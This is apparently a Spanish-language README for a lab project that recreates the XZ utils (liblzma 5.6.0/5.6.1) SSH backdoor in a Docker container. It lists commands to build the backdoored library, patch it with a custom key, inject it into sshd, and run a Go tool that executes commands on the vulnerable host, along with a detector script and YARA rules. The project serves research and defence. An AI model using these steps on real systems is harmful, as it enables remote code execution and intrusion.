
Una vulnerabilidad de puerta trasera XZ explicada en detalle
Este proyecto analiza la backdoor de alto perfil descubierta en xz-utils (liblzma), que afecta a las versiones 5.6.0 y 5.6.1. El código malicioso introducido en el sistema de compilación ascendente tenía como objetivo la autenticación SSH modificando la forma en que sshd interactúa con la biblioteca de compresión LZMA en tiempo de ejecución.
⚠️ Este proyecto es únicamente con fines de investigación educativa y defensiva.
Clona este repositorio
git clone https://github.com/valeriot30/cve-2024-3094
Navega al directorio
cd cve-2024-3094
Levanta el contenedor docker
docker build -t fedora-dev .
docker run --privileged -it --rm -p 2222:22 fedora-dev
Obtén una versión maliciosa de la biblioteca
cd ~
git clone https://github.com/thesamesam/xz-archive.git
cd xz-archive/5.6/ # La versión vulnerable (también funciona con 5.6.1)
tar xzf xz-5.6.0.tar.gz
mv xz-5.6.0 ~
Exporta el objetivo de compilación
export RPM_ARCH=$(uname -m)
Compila la biblioteca maliciosa
cd ~
cd ./xz-5.6.0/
./configure
make -j 8
Copia la biblioteca SO maliciosa fuera:
cp ./src/liblzma/.libs/liblzma.so.5.6.0 ~
Clona de nuevo el repositorio dentro del contenedor
git clone https://github.com/valeriot30/cve-2024-3094
Parchea la biblioteca liblzma con una clave personalizada
python3 cve-2024-3094/patch.py liblzma.so.5.6.0
Enlaza la biblioteca maliciosa en el sistema
sh cve-2024-3094/inject.sh
Ejecuta el sshd enlazado con la biblioteca maliciosa
env -i LANG=C /usr/sbin/sshd -D &
Clona este repositorio
git clone https://github.com/valeriot30/cve-2024-3094
Navega al directorio
cd cve-2024-3094
Compila la herramienta GO
go build
Usa la herramienta insertando la dirección IP de la máquina vulnerable y el comando a ejecutar
./bot -addr 127.0.0.2:2222 -cmd 'sleep 60'
Ejecuta el detector
sh detector.sh
Usa las reglas de coincidencia de yara
yara rule.yar ../liblzma.so.5.6.0 -s